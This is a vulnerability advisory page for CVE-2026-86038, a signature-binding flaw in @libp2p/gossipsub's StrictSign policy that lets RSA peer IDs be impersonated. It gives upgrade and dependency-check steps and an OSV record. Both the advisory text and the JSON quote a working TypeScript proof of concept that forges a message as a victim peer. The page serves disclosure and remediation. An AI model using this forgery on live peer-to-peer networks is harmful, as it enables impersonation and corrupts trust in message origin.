CVE-2026-86038: libp2p Gossipsub StrictSign Accepts Attacker-signed Messages Vulnerability

HIGH
Advisory Identifier: GHSA-c3gv-825q-fvmp
CVSS 7.5
CWE-345 CWE-347
Published
Advisory Summary

CVE-2026-86038 is a HIGH (CVSS 7.5) gossipsub strictsign accepts attacker-signed messages vulnerability (CWE-345: Insufficient Verification of Data Authenticity) affecting libp2p libraries in the npm ecosystem. The issue involves gossipsub strictsign accepts attacker-signed messages as a victim rsa peer id. Remediation is available by upgrading affected packages to version 16.0.5.

CVE-2026-86038 at a Glance

CVE Identifier CVE-2026-86038
GHSA Identifier GHSA-c3gv-825q-fvmp
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-345: Insufficient Verification of Data Authenticity
Affected Product libp2p
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-86038

To remediate this vulnerability, upgrade all affected libp2p dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@libp2p/gossipsub fixed: 16.0.5
npm install @libp2p/gossipsub@16.0.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @libp2p/gossipsub

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-86038, inspect your project dependencies using npm:

npm ls @libp2p/gossipsub

Analyze the terminal output to locate any version of libp2p in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 16.0.5), your application is affected.

Note: The npm ls @libp2p/gossipsub command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-345: Insufficient Verification of Data Authenticity, where the product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. In libp2p, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in `msg.key`, and have the message accepted as a valid signed message from the victim. ### Details The vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`. When `msg.key` is present: ```ts publicKey = publicKeyFromProtobuf(msg.key) if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) { return { valid: false, error: ValidateError.InvalidPeerId } } ``` For RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID. The missing invariant is: ```ts peerIdFromPublicKey(publicKey).equals(fromPeerId) ``` This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs. `StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`: ```ts this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign ``` Version tracing: - `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`. - That commit's `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`. ### PoC ```ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys' import { StrictSign } from '@libp2p/gossipsub' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { concat as uint8ArrayConcat } from 'uint8arrays/concat' import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string' import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js' import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js' const label = 'gossipsub StrictSign RSA author spoof' function seqno (n: bigint): Uint8Array { const out = new Uint8Array(8) new DataView(out.buffer).setBigUint64(0, n, false) return out } async function main (): Promise<void> { const attackerKey = await generateKeyPair('Ed25519') const victimRsaKey = await generateKeyPair('RSA', 512) const victim = peerIdFromPrivateKey(victimRsaKey) const msg: RPC.Message = { from: victim.toMultihash().bytes, data: uint8ArrayFromString('forged as victim RSA peer'), seqno: seqno(1n), topic: 'poc-topic', signature: undefined, key: undefined } // Sign the protobuf message that claims victim in `from`, using attacker's key. const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)]) msg.signature = await attackerKey.sign(bytes) msg.key = publicKeyToProtobuf(attackerKey.publicKey) const result = await validateToRawMessage(StrictSign, msg) if (!result.valid) { throw new Error(`expected forged message to validate, got ${result.error}`) } assert.equal(result.message.type, 'signed') assert.equal(result.message.from.equals(victim), true) assert.equal(result.message.key.equals(attackerKey.publicKey), true) console.log(`${label} reproduced`) console.log(`claimed victim RSA author: ${victim}`) console.log('signature verified with attacker-supplied key') } main().catch(err => { console.error(err) process.exitCode = 1 }) ``` Expected output: ```text gossipsub StrictSign RSA author spoof reproduced claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f signature verified with attacker-supplied key ``` ### Impact Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim. The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.

CVE-2026-86038 Affected libp2p Versions

1 component(s)
Fixed Versions:
16.0.5
Product / Package Ecosystem Affected Versions Fixed Version
@libp2p/gossipsub
npm
≥ 15.0.0
< 16.0.5
16.0.5

References

Frequently Asked Questions

What is CVE-2026-86038?
CVE-2026-86038 is a security vulnerability in libp2p involving Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID under CWE-345: Insufficient Verification of Data Authenticity.
Which libp2p versions are affected?
Affected versions include releases prior to 16.0.5 across affected packages: @libp2p/gossipsub.
What version fixes CVE-2026-86038?
Upgrading to 16.0.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @libp2p/gossipsub affected?
Yes, @libp2p/gossipsub is affected in releases prior to 16.0.5. Upgrade your dependency to 16.0.5 or later.
What is the CVSS score of CVE-2026-86038?
CVE-2026-86038 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-86038?
CVE-2026-86038 is classified under CWE-345: Insufficient Verification of Data Authenticity (The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.).
How can I check npm dependencies for CVE-2026-86038?
Run the dependency tree command: 'npm ls @libp2p/gossipsub'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c3gv-825q-fvmp",
  "modified" : "2026-09-17T17:29:31Z",
  "published" : "2026-09-17T17:29:31Z",
  "aliases" : [ "CVE-2026-86038" ],
  "summary" : "libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID",
  "details" : "### Summary\n`@libp2p/gossipsub` `StrictSign` validation does not bind a supplied message public key to the claimed `from` peer ID when `from` is an RSA-style peer ID that does not inline its public key. An attacker can set `from` to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in `msg.key`, and have the message accepted as a valid signed message from the victim.\n\n### Details\nThe vulnerable code is in `packages/gossipsub/src/utils/buildRawMessage.ts` inside `validateToRawMessage`.\n\nWhen `msg.key` is present:\n\n```ts\npublicKey = publicKeyFromProtobuf(msg.key)\nif (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) {\n  return { valid: false, error: ValidateError.InvalidPeerId }\n}\n```\n\nFor RSA peer IDs parsed from the wire `from` multihash, `fromPeerId.publicKey` is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-`from` comparison is skipped. The code then verifies the signature with the attacker-supplied `msg.key` and returns a signed message whose `from` is the victim RSA peer ID.\n\nThe missing invariant is:\n\n```ts\npeerIdFromPublicKey(publicKey).equals(fromPeerId)\n```\n\nThis check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.\n\n`StrictSign` is the default gossipsub signature policy in `packages/gossipsub/src/gossipsub.ts`:\n\n```ts\nthis.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign\n```\n\nVersion tracing:\n\n- `git blame` points the vulnerable `validateToRawMessage` block to `9a9b11fd44` (`fix!: remove pubsub (#3291)`), which introduced `packages/gossipsub/src/utils/buildRawMessage.ts`.\n- That commit's `packages/gossipsub/package.json` still reports `14.1.1`, but the first `gossipsub-v*` release tag in this checkout that contains the vulnerable block is `gossipsub-v15.0.0`.\n\n\n### PoC\n\n```ts\n// TypeScript ESM PoC.\nimport { strict as assert } from 'node:assert'\nimport { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys'\nimport { StrictSign } from '@libp2p/gossipsub'\nimport { peerIdFromPrivateKey } from '@libp2p/peer-id'\nimport { concat as uint8ArrayConcat } from 'uint8arrays/concat'\nimport { fromString as uint8ArrayFromString } from 'uint8arrays/from-string'\nimport { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js'\nimport { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'\n\nconst label = 'gossipsub StrictSign RSA author spoof'\n\nfunction seqno (n: bigint): Uint8Array {\n  const out = new Uint8Array(8)\n  new DataView(out.buffer).setBigUint64(0, n, false)\n  return out\n}\n\nasync function main (): Promise<void> {\n  const attackerKey = await generateKeyPair('Ed25519')\n  const victimRsaKey = await generateKeyPair('RSA', 512)\n  const victim = peerIdFromPrivateKey(victimRsaKey)\n\n  const msg: RPC.Message = {\n    from: victim.toMultihash().bytes,\n    data: uint8ArrayFromString('forged as victim RSA peer'),\n    seqno: seqno(1n),\n    topic: 'poc-topic',\n    signature: undefined,\n    key: undefined\n  }\n\n  // Sign the protobuf message that claims victim in `from`, using attacker's key.\n  const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)])\n  msg.signature = await attackerKey.sign(bytes)\n  msg.key = publicKeyToProtobuf(attackerKey.publicKey)\n\n  const result = await validateToRawMessage(StrictSign, msg)\n\n  if (!result.valid) {\n    throw new Error(`expected forged message to validate, got ${result.error}`)\n  }\n\n  assert.equal(result.message.type, 'signed')\n  assert.equal(result.message.from.equals(victim), true)\n  assert.equal(result.message.key.equals(attackerKey.publicKey), true)\n\n  console.log(`${label} reproduced`)\n  console.log(`claimed victim RSA author: ${victim}`)\n  console.log('signature verified with attacker-supplied key')\n}\n\nmain().catch(err => {\n  console.error(err)\n  process.exitCode = 1\n})\n```\nExpected output:\n\n```text\ngossipsub StrictSign RSA author spoof reproduced\nclaimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f\nsignature verified with attacker-supplied key\n```\n\n### Impact\nAttackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default `StrictSign` policy. Applications that trust `message.from` in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.\n\nThe forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@libp2p/gossipsub"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "15.0.0"
      }, {
        "fixed" : "16.0.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/security/advisories/GHSA-c3gv-825q-fvmp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/pull/3569"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/commit/cec2b1f349d130065e561349a0336a239528267f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/libp2p/js-libp2p"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/libp2p/js-libp2p/releases/tag/gossipsub-v16.0.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345", "CWE-347" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-17T17:29:31Z",
    "nvd_published_at" : null
  }
}